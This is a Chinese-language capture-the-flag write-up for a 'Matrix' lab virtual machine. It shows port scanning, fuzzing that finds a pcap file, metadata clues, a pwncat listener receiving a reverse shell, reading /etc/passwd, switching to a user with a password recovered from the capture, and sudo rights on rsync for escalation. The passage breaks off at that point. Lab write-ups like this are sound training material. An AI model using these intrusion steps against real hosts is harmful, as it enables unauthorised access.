9 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.955 seconds (130.95 hosts/sec). 4 responded ❯ export ip=192.168.60.169 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.169:22 Open 192.168.60.169:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-01 18:27 CST Initiating ARP Ping Scan at 18:27 Scanning 192.168.60.169 [1 port] Completed ARP Ping Scan at 18:27, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 18:27 Completed Parallel DNS resolution of 1 host. at 18:27, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 18:27 Scanning 192.168.60.169 [2 ports] Discovered open port 80/tcp on 192.168.60.169 Discovered open port 22/tcp on 192.168.60.169 Completed SYN Stealth Scan at 18:27, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.169 Host is up, received arp-response (0.00064s latency). Scanned at 2025-02-01 18:27:56 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:01:10:71 (Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
浏览器访问80端口发现,有两个选项
通过源代码发现红色药丸会跳转一个pdf
You have chosen truth. The Matrix awaits.
您已选择真相。矩阵在等待。
蓝色药丸则是跳转google
You have chosen illusion. Return to your normal life.
你选择了幻觉。回到你的正常生活。
同时源代码中还给了个提示
1 2 3 4 5
❯ curl http://192.168.60.169/ …………………………省略…………………… <!-- Follow the red rabbit... Is it a dream or a clue? Within the saved traffic, you may find traces of the Matrix. Could it be a .pcap file ready to fuzz? --> 跟随红兔... 是梦境还是线索?在保存的流量中,你可能会发现矩阵的蛛丝马迹。这可能是一个准备进行模糊测试的 .pcap 文件吗? …………………………省略……………………
文件模糊测试
尝试wfuzz模糊测试一下pcap文件
得到一个trinity.pcap流量包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
❯ wfuzz -c -u "http://$ip/FUZZ.pcap" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 31 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.169/FUZZ.pcap Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000013086: 200 986 L 5851 W 139908 Ch "trinity"
打开流量包,从中发现了一张webp图片
保存另存为,改一下后缀
红色兔子正好符合了提示给我们的
这很显然是梦境
我还以为是图片隐写之类的,或者需要爆破图片
后面在图片描述中发现了有用的提示
1 2 3 4
❯ exiftool object172.image%2f.jpg ……………………省略………………………… Description : Morpheus, we have found a direct connection to the 'Mind', the artificial intelligence that controls the Matrix. You can find it at the domain M47r1X.matrix.nyx. 莫菲斯,我们已找到直接连接到控制着矩阵的人工智能“Mind”的域名M47r1X.matrix.nyx。
php反序列化
编辑一下hosts,添加域名
访问M47r1X.matrix.nyx得到一个新的页面
我随便发送一些小写,他会返回一个地址
1 2
Morpheus, we successfully infiltrated the 'Mind' and uncovered part of its backend. We've made it accessible in the following file in case it can help you enter the Matrix: filtrate-backend-matrix.php.txt. 莫菲斯,我们成功地渗透了“Mind”并揭开了它的后端部分。我们已将其放入以下文件中,以防它可以帮助您进入矩阵:filtrate-backend-matrix.php.txt.
❯ pwncat-cs -lp 4444 [19:49:14] Welcome to pwncat 🐈! __main__.py:164 [19:49:16] received connection from 192.168.60.169:57084 bind.py:84 [19:49:17] 192.168.60.169:57084: registered new host w/ db manager.py:957 (local) pwncat$ (remote) www-data@matrix:/var/www/M47r1X.matrix.nyx$ cat /etc/passwd|grep /bin/bash root:x:0:0:root:/root:/bin/bash smith:x:1000:1000::/home/smith:/bin/bash
拿到一个用户名smith
回想流量包中有个rsync的流中有个密码
尝试登录一下
拿到user了
1 2 3 4 5
(remote) www-data@matrix:/home/smith$ su smith Password: smith@matrix:~$ cat user.txt 13fd11421e33199c2029bc8e5ed94626
Root提权
用户smith拥有sudo权限
利用rsync提权
1 2 3 4 5 6 7 8
smith@matrix:~$ sudo -l [sudo] contraseña para smith: Matching Defaults entries for smith on matrix: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User smith may run the following commands on matrix: (ALL) PASSWD: /usr/bin/rsync